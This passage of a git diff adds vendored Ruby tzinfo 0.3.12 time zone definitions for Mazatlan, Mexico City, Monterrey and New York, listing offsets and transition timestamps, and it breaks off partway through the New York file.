b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mazatlan.rb new file mode 100644 index 00000000..ba9e6efc --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mazatlan.rb @@ -0,0 +1,139 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Mazatlan + include TimezoneDefinition + + timezone 'America/Mazatlan' do |tz| + tz.offset :o0, -25540, 0, :LMT + tz.offset :o1, -25200, 0, :MST + tz.offset :o2, -21600, 0, :CST + tz.offset :o3, -28800, 0, :PST + tz.offset :o4, -25200, 3600, :MDT + + tz.transition 1922, 1, :o1, 58153339, 24 + tz.transition 1927, 6, :o2, 9700171, 4 + tz.transition 1930, 11, :o1, 9705183, 4 + tz.transition 1931, 5, :o2, 9705855, 4 + tz.transition 1931, 10, :o1, 9706463, 4 + tz.transition 1932, 4, :o2, 58243171, 24 + tz.transition 1942, 4, :o1, 9721895, 4 + tz.transition 1949, 1, :o3, 58390339, 24 + tz.transition 1970, 1, :o1, 28800 + tz.transition 1996, 4, :o4, 828867600 + tz.transition 1996, 10, :o1, 846403200 + tz.transition 1997, 4, :o4, 860317200 + tz.transition 1997, 10, :o1, 877852800 + tz.transition 1998, 4, :o4, 891766800 + tz.transition 1998, 10, :o1, 909302400 + tz.transition 1999, 4, :o4, 923216400 + tz.transition 1999, 10, :o1, 941356800 + tz.transition 2000, 4, :o4, 954666000 + tz.transition 2000, 10, :o1, 972806400 + tz.transition 2001, 5, :o4, 989139600 + tz.transition 2001, 9, :o1, 1001836800 + tz.transition 2002, 4, :o4, 1018170000 + tz.transition 2002, 10, :o1, 1035705600 + tz.transition 2003, 4, :o4, 1049619600 + tz.transition 2003, 10, :o1, 1067155200 + tz.transition 2004, 4, :o4, 1081069200 + tz.transition 2004, 10, :o1, 1099209600 + tz.transition 2005, 4, :o4, 1112518800 + tz.transition 2005, 10, :o1, 1130659200 + tz.transition 2006, 4, :o4, 1143968400 + tz.transition 2006, 10, :o1, 1162108800 + tz.transition 2007, 4, :o4, 1175418000 + tz.transition 2007, 10, :o1, 1193558400 + tz.transition 2008, 4, :o4, 1207472400 + tz.transition 2008, 10, :o1, 1225008000 + tz.transition 2009, 4, :o4, 1238922000 + tz.transition 2009, 10, :o1, 1256457600 + tz.transition 2010, 4, :o4, 1270371600 + tz.transition 2010, 10, :o1, 1288512000 + tz.transition 2011, 4, :o4, 1301821200 + tz.transition 2011, 10, :o1, 1319961600 + tz.transition 2012, 4, :o4, 1333270800 + tz.transition 2012, 10, :o1, 1351411200 + tz.transition 2013, 4, :o4, 1365325200 + tz.transition 2013, 10, :o1, 1382860800 + tz.transition 2014, 4, :o4, 1396774800 + tz.transition 2014, 10, :o1, 1414310400 + tz.transition 2015, 4, :o4, 1428224400 + tz.transition 2015, 10, :o1, 1445760000 + tz.transition 2016, 4, :o4, 1459674000 + tz.transition 2016, 10, :o1, 1477814400 + tz.transition 2017, 4, :o4, 1491123600 + tz.transition 2017, 10, :o1, 1509264000 + tz.transition 2018, 4, :o4, 1522573200 + tz.transition 2018, 10, :o1, 1540713600 + tz.transition 2019, 4, :o4, 1554627600 + tz.transition 2019, 10, :o1, 1572163200 + tz.transition 2020, 4, :o4, 1586077200 + tz.transition 2020, 10, :o1, 1603612800 + tz.transition 2021, 4, :o4, 1617526800 + tz.transition 2021, 10, :o1, 1635667200 + tz.transition 2022, 4, :o4, 1648976400 + tz.transition 2022, 10, :o1, 1667116800 + tz.transition 2023, 4, :o4, 1680426000 + tz.transition 2023, 10, :o1, 1698566400 + tz.transition 2024, 4, :o4, 1712480400 + tz.transition 2024, 10, :o1, 1730016000 + tz.transition 2025, 4, :o4, 1743930000 + tz.transition 2025, 10, :o1, 1761465600 + tz.transition 2026, 4, :o4, 1775379600 + tz.transition 2026, 10, :o1, 1792915200 + tz.transition 2027, 4, :o4, 1806829200 + tz.transition 2027, 10, :o1, 1824969600 + tz.transition 2028, 4, :o4, 1838278800 + tz.transition 2028, 10, :o1, 1856419200 + tz.transition 2029, 4, :o4, 1869728400 + tz.transition 2029, 10, :o1, 1887868800 + tz.transition 2030, 4, :o4, 1901782800 + tz.transition 2030, 10, :o1, 1919318400 + tz.transition 2031, 4, :o4, 1933232400 + tz.transition 2031, 10, :o1, 1950768000 + tz.transition 2032, 4, :o4, 1964682000 + tz.transition 2032, 10, :o1, 1982822400 + tz.transition 2033, 4, :o4, 1996131600 + tz.transition 2033, 10, :o1, 2014272000 + tz.transition 2034, 4, :o4, 2027581200 + tz.transition 2034, 10, :o1, 2045721600 + tz.transition 2035, 4, :o4, 2059030800 + tz.transition 2035, 10, :o1, 2077171200 + tz.transition 2036, 4, :o4, 2091085200 + tz.transition 2036, 10, :o1, 2108620800 + tz.transition 2037, 4, :o4, 2122534800 + tz.transition 2037, 10, :o1, 2140070400 + tz.transition 2038, 4, :o4, 19724143, 8 + tz.transition 2038, 10, :o1, 14794367, 6 + tz.transition 2039, 4, :o4, 19727055, 8 + tz.transition 2039, 10, :o1, 14796551, 6 + tz.transition 2040, 4, :o4, 19729967, 8 + tz.transition 2040, 10, :o1, 14798735, 6 + tz.transition 2041, 4, :o4, 19732935, 8 + tz.transition 2041, 10, :o1, 14800919, 6 + tz.transition 2042, 4, :o4, 19735847, 8 + tz.transition 2042, 10, :o1, 14803103, 6 + tz.transition 2043, 4, :o4, 19738759, 8 + tz.transition 2043, 10, :o1, 14805287, 6 + tz.transition 2044, 4, :o4, 19741671, 8 + tz.transition 2044, 10, :o1, 14807513, 6 + tz.transition 2045, 4, :o4, 19744583, 8 + tz.transition 2045, 10, :o1, 14809697, 6 + tz.transition 2046, 4, :o4, 19747495, 8 + tz.transition 2046, 10, :o1, 14811881, 6 + tz.transition 2047, 4, :o4, 19750463, 8 + tz.transition 2047, 10, :o1, 14814065, 6 + tz.transition 2048, 4, :o4, 19753375, 8 + tz.transition 2048, 10, :o1, 14816249, 6 + tz.transition 2049, 4, :o4, 19756287, 8 + tz.transition 2049, 10, :o1, 14818475, 6 + tz.transition 2050, 4, :o4, 19759199, 8 + tz.transition 2050, 10, :o1, 14820659, 6 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mexico_City.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mexico_City.rb new file mode 100644 index 00000000..2347fce6 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Mexico_City.rb @@ -0,0 +1,144 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Mexico_City + include TimezoneDefinition + + timezone 'America/Mexico_City' do |tz| + tz.offset :o0, -23796, 0, :LMT + tz.offset :o1, -25200, 0, :MST + tz.offset :o2, -21600, 0, :CST + tz.offset :o3, -21600, 3600, :CDT + tz.offset :o4, -21600, 3600, :CWT + + tz.transition 1922, 1, :o1, 58153339, 24 + tz.transition 1927, 6, :o2, 9700171, 4 + tz.transition 1930, 11, :o1, 9705183, 4 + tz.transition 1931, 5, :o2, 9705855, 4 + tz.transition 1931, 10, :o1, 9706463, 4 + tz.transition 1932, 4, :o2, 58243171, 24 + tz.transition 1939, 2, :o3, 9717199, 4 + tz.transition 1939, 6, :o2, 58306553, 24 + tz.transition 1940, 12, :o3, 9719891, 4 + tz.transition 1941, 4, :o2, 58322057, 24 + tz.transition 1943, 12, :o4, 9724299, 4 + tz.transition 1944, 5, :o2, 58349081, 24 + tz.transition 1950, 2, :o3, 9733299, 4 + tz.transition 1950, 7, :o2, 58403825, 24 + tz.transition 1996, 4, :o3, 828864000 + tz.transition 1996, 10, :o2, 846399600 + tz.transition 1997, 4, :o3, 860313600 + tz.transition 1997, 10, :o2, 877849200 + tz.transition 1998, 4, :o3, 891763200 + tz.transition 1998, 10, :o2, 909298800 + tz.transition 1999, 4, :o3, 923212800 + tz.transition 1999, 10, :o2, 941353200 + tz.transition 2000, 4, :o3, 954662400 + tz.transition 2000, 10, :o2, 972802800 + tz.transition 2001, 5, :o3, 989136000 + tz.transition 2001, 9, :o2, 1001833200 + tz.transition 2002, 4, :o3, 1018166400 + tz.transition 2002, 10, :o2, 1035702000 + tz.transition 2003, 4, :o3, 1049616000 + tz.transition 2003, 10, :o2, 1067151600 + tz.transition 2004, 4, :o3, 1081065600 + tz.transition 2004, 10, :o2, 1099206000 + tz.transition 2005, 4, :o3, 1112515200 + tz.transition 2005, 10, :o2, 1130655600 + tz.transition 2006, 4, :o3, 1143964800 + tz.transition 2006, 10, :o2, 1162105200 + tz.transition 2007, 4, :o3, 1175414400 + tz.transition 2007, 10, :o2, 1193554800 + tz.transition 2008, 4, :o3, 1207468800 + tz.transition 2008, 10, :o2, 1225004400 + tz.transition 2009, 4, :o3, 1238918400 + tz.transition 2009, 10, :o2, 1256454000 + tz.transition 2010, 4, :o3, 1270368000 + tz.transition 2010, 10, :o2, 1288508400 + tz.transition 2011, 4, :o3, 1301817600 + tz.transition 2011, 10, :o2, 1319958000 + tz.transition 2012, 4, :o3, 1333267200 + tz.transition 2012, 10, :o2, 1351407600 + tz.transition 2013, 4, :o3, 1365321600 + tz.transition 2013, 10, :o2, 1382857200 + tz.transition 2014, 4, :o3, 1396771200 + tz.transition 2014, 10, :o2, 1414306800 + tz.transition 2015, 4, :o3, 1428220800 + tz.transition 2015, 10, :o2, 1445756400 + tz.transition 2016, 4, :o3, 1459670400 + tz.transition 2016, 10, :o2, 1477810800 + tz.transition 2017, 4, :o3, 1491120000 + tz.transition 2017, 10, :o2, 1509260400 + tz.transition 2018, 4, :o3, 1522569600 + tz.transition 2018, 10, :o2, 1540710000 + tz.transition 2019, 4, :o3, 1554624000 + tz.transition 2019, 10, :o2, 1572159600 + tz.transition 2020, 4, :o3, 1586073600 + tz.transition 2020, 10, :o2, 1603609200 + tz.transition 2021, 4, :o3, 1617523200 + tz.transition 2021, 10, :o2, 1635663600 + tz.transition 2022, 4, :o3, 1648972800 + tz.transition 2022, 10, :o2, 1667113200 + tz.transition 2023, 4, :o3, 1680422400 + tz.transition 2023, 10, :o2, 1698562800 + tz.transition 2024, 4, :o3, 1712476800 + tz.transition 2024, 10, :o2, 1730012400 + tz.transition 2025, 4, :o3, 1743926400 + tz.transition 2025, 10, :o2, 1761462000 + tz.transition 2026, 4, :o3, 1775376000 + tz.transition 2026, 10, :o2, 1792911600 + tz.transition 2027, 4, :o3, 1806825600 + tz.transition 2027, 10, :o2, 1824966000 + tz.transition 2028, 4, :o3, 1838275200 + tz.transition 2028, 10, :o2, 1856415600 + tz.transition 2029, 4, :o3, 1869724800 + tz.transition 2029, 10, :o2, 1887865200 + tz.transition 2030, 4, :o3, 1901779200 + tz.transition 2030, 10, :o2, 1919314800 + tz.transition 2031, 4, :o3, 1933228800 + tz.transition 2031, 10, :o2, 1950764400 + tz.transition 2032, 4, :o3, 1964678400 + tz.transition 2032, 10, :o2, 1982818800 + tz.transition 2033, 4, :o3, 1996128000 + tz.transition 2033, 10, :o2, 2014268400 + tz.transition 2034, 4, :o3, 2027577600 + tz.transition 2034, 10, :o2, 2045718000 + tz.transition 2035, 4, :o3, 2059027200 + tz.transition 2035, 10, :o2, 2077167600 + tz.transition 2036, 4, :o3, 2091081600 + tz.transition 2036, 10, :o2, 2108617200 + tz.transition 2037, 4, :o3, 2122531200 + tz.transition 2037, 10, :o2, 2140066800 + tz.transition 2038, 4, :o3, 14793107, 6 + tz.transition 2038, 10, :o2, 59177467, 24 + tz.transition 2039, 4, :o3, 14795291, 6 + tz.transition 2039, 10, :o2, 59186203, 24 + tz.transition 2040, 4, :o3, 14797475, 6 + tz.transition 2040, 10, :o2, 59194939, 24 + tz.transition 2041, 4, :o3, 14799701, 6 + tz.transition 2041, 10, :o2, 59203675, 24 + tz.transition 2042, 4, :o3, 14801885, 6 + tz.transition 2042, 10, :o2, 59212411, 24 + tz.transition 2043, 4, :o3, 14804069, 6 + tz.transition 2043, 10, :o2, 59221147, 24 + tz.transition 2044, 4, :o3, 14806253, 6 + tz.transition 2044, 10, :o2, 59230051, 24 + tz.transition 2045, 4, :o3, 14808437, 6 + tz.transition 2045, 10, :o2, 59238787, 24 + tz.transition 2046, 4, :o3, 14810621, 6 + tz.transition 2046, 10, :o2, 59247523, 24 + tz.transition 2047, 4, :o3, 14812847, 6 + tz.transition 2047, 10, :o2, 59256259, 24 + tz.transition 2048, 4, :o3, 14815031, 6 + tz.transition 2048, 10, :o2, 59264995, 24 + tz.transition 2049, 4, :o3, 14817215, 6 + tz.transition 2049, 10, :o2, 59273899, 24 + tz.transition 2050, 4, :o3, 14819399, 6 + tz.transition 2050, 10, :o2, 59282635, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Monterrey.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Monterrey.rb new file mode 100644 index 00000000..5816a9ea --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Monterrey.rb @@ -0,0 +1,131 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module Monterrey + include TimezoneDefinition + + timezone 'America/Monterrey' do |tz| + tz.offset :o0, -24076, 0, :LMT + tz.offset :o1, -21600, 0, :CST + tz.offset :o2, -21600, 3600, :CDT + + tz.transition 1922, 1, :o1, 9692223, 4 + tz.transition 1988, 4, :o2, 576057600 + tz.transition 1988, 10, :o1, 594198000 + tz.transition 1996, 4, :o2, 828864000 + tz.transition 1996, 10, :o1, 846399600 + tz.transition 1997, 4, :o2, 860313600 + tz.transition 1997, 10, :o1, 877849200 + tz.transition 1998, 4, :o2, 891763200 + tz.transition 1998, 10, :o1, 909298800 + tz.transition 1999, 4, :o2, 923212800 + tz.transition 1999, 10, :o1, 941353200 + tz.transition 2000, 4, :o2, 954662400 + tz.transition 2000, 10, :o1, 972802800 + tz.transition 2001, 5, :o2, 989136000 + tz.transition 2001, 9, :o1, 1001833200 + tz.transition 2002, 4, :o2, 1018166400 + tz.transition 2002, 10, :o1, 1035702000 + tz.transition 2003, 4, :o2, 1049616000 + tz.transition 2003, 10, :o1, 1067151600 + tz.transition 2004, 4, :o2, 1081065600 + tz.transition 2004, 10, :o1, 1099206000 + tz.transition 2005, 4, :o2, 1112515200 + tz.transition 2005, 10, :o1, 1130655600 + tz.transition 2006, 4, :o2, 1143964800 + tz.transition 2006, 10, :o1, 1162105200 + tz.transition 2007, 4, :o2, 1175414400 + tz.transition 2007, 10, :o1, 1193554800 + tz.transition 2008, 4, :o2, 1207468800 + tz.transition 2008, 10, :o1, 1225004400 + tz.transition 2009, 4, :o2, 1238918400 + tz.transition 2009, 10, :o1, 1256454000 + tz.transition 2010, 4, :o2, 1270368000 + tz.transition 2010, 10, :o1, 1288508400 + tz.transition 2011, 4, :o2, 1301817600 + tz.transition 2011, 10, :o1, 1319958000 + tz.transition 2012, 4, :o2, 1333267200 + tz.transition 2012, 10, :o1, 1351407600 + tz.transition 2013, 4, :o2, 1365321600 + tz.transition 2013, 10, :o1, 1382857200 + tz.transition 2014, 4, :o2, 1396771200 + tz.transition 2014, 10, :o1, 1414306800 + tz.transition 2015, 4, :o2, 1428220800 + tz.transition 2015, 10, :o1, 1445756400 + tz.transition 2016, 4, :o2, 1459670400 + tz.transition 2016, 10, :o1, 1477810800 + tz.transition 2017, 4, :o2, 1491120000 + tz.transition 2017, 10, :o1, 1509260400 + tz.transition 2018, 4, :o2, 1522569600 + tz.transition 2018, 10, :o1, 1540710000 + tz.transition 2019, 4, :o2, 1554624000 + tz.transition 2019, 10, :o1, 1572159600 + tz.transition 2020, 4, :o2, 1586073600 + tz.transition 2020, 10, :o1, 1603609200 + tz.transition 2021, 4, :o2, 1617523200 + tz.transition 2021, 10, :o1, 1635663600 + tz.transition 2022, 4, :o2, 1648972800 + tz.transition 2022, 10, :o1, 1667113200 + tz.transition 2023, 4, :o2, 1680422400 + tz.transition 2023, 10, :o1, 1698562800 + tz.transition 2024, 4, :o2, 1712476800 + tz.transition 2024, 10, :o1, 1730012400 + tz.transition 2025, 4, :o2, 1743926400 + tz.transition 2025, 10, :o1, 1761462000 + tz.transition 2026, 4, :o2, 1775376000 + tz.transition 2026, 10, :o1, 1792911600 + tz.transition 2027, 4, :o2, 1806825600 + tz.transition 2027, 10, :o1, 1824966000 + tz.transition 2028, 4, :o2, 1838275200 + tz.transition 2028, 10, :o1, 1856415600 + tz.transition 2029, 4, :o2, 1869724800 + tz.transition 2029, 10, :o1, 1887865200 + tz.transition 2030, 4, :o2, 1901779200 + tz.transition 2030, 10, :o1, 1919314800 + tz.transition 2031, 4, :o2, 1933228800 + tz.transition 2031, 10, :o1, 1950764400 + tz.transition 2032, 4, :o2, 1964678400 + tz.transition 2032, 10, :o1, 1982818800 + tz.transition 2033, 4, :o2, 1996128000 + tz.transition 2033, 10, :o1, 2014268400 + tz.transition 2034, 4, :o2, 2027577600 + tz.transition 2034, 10, :o1, 2045718000 + tz.transition 2035, 4, :o2, 2059027200 + tz.transition 2035, 10, :o1, 2077167600 + tz.transition 2036, 4, :o2, 2091081600 + tz.transition 2036, 10, :o1, 2108617200 + tz.transition 2037, 4, :o2, 2122531200 + tz.transition 2037, 10, :o1, 2140066800 + tz.transition 2038, 4, :o2, 14793107, 6 + tz.transition 2038, 10, :o1, 59177467, 24 + tz.transition 2039, 4, :o2, 14795291, 6 + tz.transition 2039, 10, :o1, 59186203, 24 + tz.transition 2040, 4, :o2, 14797475, 6 + tz.transition 2040, 10, :o1, 59194939, 24 + tz.transition 2041, 4, :o2, 14799701, 6 + tz.transition 2041, 10, :o1, 59203675, 24 + tz.transition 2042, 4, :o2, 14801885, 6 + tz.transition 2042, 10, :o1, 59212411, 24 + tz.transition 2043, 4, :o2, 14804069, 6 + tz.transition 2043, 10, :o1, 59221147, 24 + tz.transition 2044, 4, :o2, 14806253, 6 + tz.transition 2044, 10, :o1, 59230051, 24 + tz.transition 2045, 4, :o2, 14808437, 6 + tz.transition 2045, 10, :o1, 59238787, 24 + tz.transition 2046, 4, :o2, 14810621, 6 + tz.transition 2046, 10, :o1, 59247523, 24 + tz.transition 2047, 4, :o2, 14812847, 6 + tz.transition 2047, 10, :o1, 59256259, 24 + tz.transition 2048, 4, :o2, 14815031, 6 + tz.transition 2048, 10, :o1, 59264995, 24 + tz.transition 2049, 4, :o2, 14817215, 6 + tz.transition 2049, 10, :o1, 59273899, 24 + tz.transition 2050, 4, :o2, 14819399, 6 + tz.transition 2050, 10, :o1, 59282635, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/New_York.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/New_York.rb new file mode 100644 index 00000000..7d802bd2 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/New_York.rb @@ -0,0 +1,282 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module America + module New_York + include TimezoneDefinition + + timezone 'America/New_York' do |tz| + tz.offset :o0, -17762, 0, :LMT + tz.offset :o1, -18000, 0, :EST + tz.offset :o2, -18000, 3600, :EDT + tz.offset :o3, -18000, 3600, :EWT + tz.offset :o4, -18000, 3600, :EPT + + tz.transition 1883, 11, :o1, 57819197, 24 + tz.transition 1918, 3, :o2, 58120411, 24 + tz.transition 1918, 10, :o1, 9687575, 4 + tz.transition 1919, 3, :o2, 58129147, 24 + tz.transition 1919, 10, :o1, 9689031, 4 + tz.transition 1920, 3, :o2, 58137883, 24 + tz.transition 1920, 10, :o1, 9690515, 4 + tz.transition 1921, 4, :o2, 58147291, 24 + tz.transition 1921, 9, :o1, 9691831, 4 + tz.transition 1922, 4, :o2, 58156195, 24 + tz.transition 1922, 9, :o1, 9693287, 4 + tz.transition 1923, 4, :o2, 58164931, 24 + tz.transition 1923, 9, :o1, 9694771, 4 + tz.transition 1924, 4, :o2, 58173667, 24 + tz.transition 1924, 9, :o1, 9696227, 4 + tz.transition 1925, 4, :o2, 58182403, 24 + tz.transition 1925, 9, :o1, 9697683, 4 + tz.transition 1926, 4, :o2, 58191139, 24 + tz.transition 1926, 9, :o1, 9699139, 4 + tz.transition 1927, 4, :o2, 58199875, 24 + tz.transition 1927, 9, :o1, 9700595, 4 + tz.transition 1928, 4, :o2, 58208779, 24 + tz.transition 1928, 9, :o1, 9702079, 4 + tz.transition 1929, 4, :o2, 58217515, 24 + tz.transition 1929, 9, :o1, 9703535, 4 + tz.transition 1930, 4, :o2, 58226251, 24 + tz.transition 1930, 9, :o1, 9704991, 4 + tz.transition 1931, 4, :o2, 58234987, 24 + tz.transition 1931, 9, :o1, 9706447, 4 + tz.transition 1932, 4, :o2, 58243723, 24 + tz.transition 1932, 9, :o1, 9707903, 4 + tz.transition 1933, 4, :o2, 58252627, 24 + tz.transition 1933, 9, :o1, 9709359, 4 + tz.transition 1934, 4, :o2, 58261363, 24 + tz.transition 1934, 9, :o1, 9710843, 4 + tz.transition 1935, 4, :o2, 58270099, 24 + tz.transition 1935, 9, :o1, 9712299, 4 + tz.transition 1936, 4, :o2, 58278835, 24 + tz.transition 1936, 9, :o1, 9713755, 4 + tz.transition 1937, 4, :o2, 58287571, 24 + tz.transition 1937, 9, :o1, 9715211, 4 + tz.transition 1938, 4, :o2, 58296307, 24 + tz.transition 1938, 9, :o1, 9716667, 4 + tz.transition 1939, 4, :o2, 58305211, 24 + tz.transition 1939, 9, :o1, 9718123, 4 + tz.transition 1940, 4, :o2, 58313947, 24 + tz.transition 1940, 9, :o1, 9719607, 4 + tz.transition 1941, 4, :o2, 58322683, 24 + tz.transition 1941, 9, :o1, 9721063, 4 + tz.transition 1942, 2, :o3, 58329595, 24 + tz.transition 1945, 8, :o4, 58360379, 24 + tz.transition 1945, 9, :o1, 9726915, 4 + tz.transition 1946, 4, :o2, 58366531, 24 + tz.transition 1946, 9, :o1, 9728371, 4 + tz.transition 1947, 4, :o2, 58375267, 24 + tz.transition 1947, 9, :o1, 9729827, 4 + tz.transition 1948, 4, :o2, 58384003, 24 + tz.transition 1948, 9, :o1, 9731283, 4 + tz.transition 1949, 4, :o2, 58392739, 24 + tz.transition 1949, 9, :o1, 9732739, 4 + tz.transition 1950, 4, :o2, 58401643, 24 + tz.transition 1950, 9, :o1, 9734195, 4 + tz.transition 1951, 4, :o2, 58410379, 24 + tz.transition 1951, 9, :o1, 9735679, 4 + tz.transition 1952, 4, :o2, 58419115, 24 + tz.transition 1952, 9, :o1, 9737135, 4 + tz.transition 1953, 4, :o2, 58427851, 24 + tz.transition 1953, 9, :o1, 9738591, 4 + tz.transition 1954, 4, :o2, 58436587, 24 + tz.transition 1954, 9, :o1, 9740047, 4 + tz.transition 1955, 4, :o2, 58445323, 24 + tz.transition 1955, 10, :o1, 9741643, 4 + tz.transition 1956, 4, :o2, 58454227, 24 + tz.transition 1956, 10, :o1, 9743099, 4 + tz.transition 1957, 4, :o2, 58462963, 24 + tz.transition 1957, 10, :o1, 9744555, 4 + tz.transition 1958, 4, :o2, 58471699, 24 + tz.transition 1958, 10, :o1, 9746011, 4 + tz.transition 1959, 4, :o2, 58480435, 24 + tz.transition 1959, 10, :o1, 9747467, 4 + tz.transition 1960, 4, :o2, 58489171, 24 + tz.transition 1960, 10, :o1, 9748951, 4 + tz.transition 1961, 4, :o2, 58498075, 24 + tz.transition 1961, 10, :o1, 9750407, 4 + tz.transition 1962, 4, :o2, 58506811, 24 + tz.transition 1962, 10, :o1, 9751863, 4 + tz.transition 1963, 4, :o2, 58515547, 24 + tz.transition 1963, 10, :o1, 9753319, 4 + tz.transition 1964, 4, :o2, 58524283, 24 + tz.transition 1964, 10, :o1, 9754775, 4 + tz.transition 1965, 4, :o2, 58533019, 24 + tz.transition 1965, 10, :o1, 9756259, 4 + tz.transition 1966, 4, :o2, 58541755, 24 + tz.transition 1966, 10, :o1, 9757715, 4 + tz.transition 1967, 4, :o2, 58550659, 24 + tz.transition 1967, 10, :o1, 9759171, 4 + tz.transition 1968, 4, :o2, 58559395, 24 + tz.transition 1968, 10, :o1, 9760627, 4 + tz.transition 1969, 4, :o2, 58568131, 24 + tz.transition 1969, 10, :o1, 9762083, 4 + tz.transition 1970, 4, :o2, 9961200 + tz.transition 1970, 10, :o1, 25682400 + tz.transition 1971, 4, :o2, 41410800 + tz.transition 1971, 10, :o1, 57736800 + tz.transition 1972, 4, :o2, 73465200 + tz.transition 1972, 10, :o1, 89186400 + tz.transition 1973, 4, :o2, 104914800 + tz.transition 1973, 10, :o1, 120636000 + tz.transition 1974, 1, :o2, 126687600 + tz.transition 1974, 10, :o1, 152085600 + tz.transition 1975, 2, :o2, 162370800 + tz.transition 1975, 10, :o1, 183535200 + tz.transition 1976, 4, :o2, 199263600 + tz.transition 1976, 10, :o1, 215589600 + tz.transition 1977, 4, :o2, 230713200 + tz.transition 1977, 10, :o1, 247039200 + tz.transition 1978, 4, :o2, 262767600 + tz.transition 1978, 10, :o1, 278488800 + tz.transition 1979, 4, :o2, 294217200 + tz.transition 1979, 10, :o1, 309938400 + tz.transition 1980, 4, :o2, 325666800 + tz.transition 1980, 10, :o1, 341388000 + tz.transition 1981, 4, :o2, 357116400 + tz.transition 1981, 10, :o1, 372837600 + tz.transition 1982, 4, :o2, 388566000 + tz.transition 1982, 10, :o1, 404892000 + tz.transition 1983, 4, :o2, 420015600 + tz.transition 1983, 10, :o1, 436341600 + tz.transition 1984, 4, :o2, 452070000 + tz.transition 1984, 10, :o1, 467791200 + tz.transition 1985, 4, :o2, 483519600 + tz.transition 1985, 10, :o1, 499240800 + tz.transition 1986, 4, :o2, 514969200 + tz.transition 1986, 10, :o1, 530690400 + tz.transition 1987, 4, :o2, 544604400 + tz.transition 1987, 10, :o1, 562140000 + tz.transition 1988, 4, :o2, 576054000 + tz.transition 1988, 10, :o1, 594194400 + tz.transition 1989, 4, :o2, 607503600 + tz.transition 1989, 10, :o1, 625644000 + tz.transition 1990, 4, :o2, 638953200 + tz.transition 1990, 10, :o1, 657093600 + tz.transition 1991, 4, :o2, 671007600 + tz.transition 1991, 10, :o1, 688543200 + tz.transition 1992, 4, :o2, 702457200 + tz.transition 1992, 10, :o1, 719992800 + tz.transition 1993, 4, :o2, 733906800 + tz.transition 1993, 10, :o1, 752047200 + tz.transition 1994, 4, :o2, 765356400 + tz.transition 1994, 10, :o1, 783496800 + tz.transition 1995, 4, :o2, 796806000 + tz.transition 1995, 10, :o1, 814946400 + tz.transition 1996, 4, :o2, 828860400 + tz.transition 1996, 10, :o1, 846396000 + tz.transition 1997, 4, :o2, 860310000 + tz.transition 1997, 10, :o1, 877845600 + tz.transition 1998, 4, :o2, 891759600 + tz.transition 1998, 10, :o1, 909295200 + tz.transition 1999, 4, :o2, 923209200 + tz.transition 1999, 10, :o1, 941349600 + tz.transition 2000, 4, :o2, 954658800 + tz.transition 2000, 10, :o1, 972799200 + tz.transition 2001, 4, :o2, 986108400 + tz.transition 2001, 10, :o1, 1004248800 + tz.transition 2002, 4, :o2, 1018162800 + tz.transition 2002, 10, :o1, 1035698400 + tz.transition 2003, 4, :o2, 1049612400 + tz.transition 2003, 10, :o1, 1067148000 + tz.transition 2004, 4, :o2, 1081062000 + tz.transition 2004, 10, :o1, 1099202400 + tz.transition 2005, 4, :o2, 1112511600 + tz.transition 2005, 10, :o1, 1130652000 + tz.transition 2006, 4, :o2, 1143961200 + tz.transition 2006, 10, :o1, 1162101600 + tz.transition 2007, 3, :o2, 1173596400 + tz.transition 2007, 11, :o1, 1194156000 + tz.transition 2008, 3, :o2, 1205046000 + tz.transition 2008, 11, :o1, 1225605600 + tz.transition 2009, 3, :o2, 1236495600 + tz.transition 2009, 11, :o1, 1257055200 + tz.transition 2010, 3, :o2, 1268550000 + tz.transition 2010, 11, :o1, 1289109600 + tz.transition 2011, 3, :o2, 1299999600 + tz.transition 2011, 11, :o1, 1320559200 + tz.transition 2012, 3, :o2, 1331449200 + tz.transition 2012, 11, :o1, 1352008800 + tz.transition 2013, 3, :o2, 1362898800 + tz.transition 2013, 11, :o1, 1383458400 + tz.transition 2014, 3, :o2, 1394348400 + tz.transition 2014, 11, :o1, 1414908000 + tz.transition 2015, 3, :o2, 1425798000 + tz.transition 2015, 11, :o1, 1446357600 + tz.transition 2016, 3, :o2, 1457852400 + tz.transition 2016, 11, :o1, 1478412000 + tz.transition 2017, 3, :o2, 1489302000 + tz.transition 2017, 11, :o1, 1509861600 + tz.transition 2018, 3, :o2, 1520751600 + tz.transition 2018, 11, :o1, 1541311200 + tz.transition 2019, 3, :o2, 1552201200 + tz.transition 2019, 11, :o1, 1572760800 + tz.transition 2020, 3, :o2, 1583650800 + tz.transition 2020, 11, :o1, 1604210400 + tz.transition 2021, 3, :o2, 1615705200 + tz.transition 2021, 11, :o1, 1636264800 + tz.transition 2022, 3, :o2, 1647154800 + tz.transition 2022, 11, :o1, 1667714400 + tz.transition 2023, 3, :o2, 1678604400 + tz.transition 2023, 11, :o1, 1699164000 + tz.transition 2024, 3, :o2, 1710054000 + tz.transition 2024, 11, :o1, 1730613600 + tz.transition 2025, 3, :o2, 1741503600 + tz.transition 2025, 11, :o1, 1762063200 + tz.transition 2026, 3, :o2, 1772953200 + tz.transition 2026, 11, :o1, 1793512800 + tz.transition 2027, 3, :o2, 1805007600 + tz.transition 2027, 11, :o1, 1825567200 + tz.transition 2028, 3, :o2, 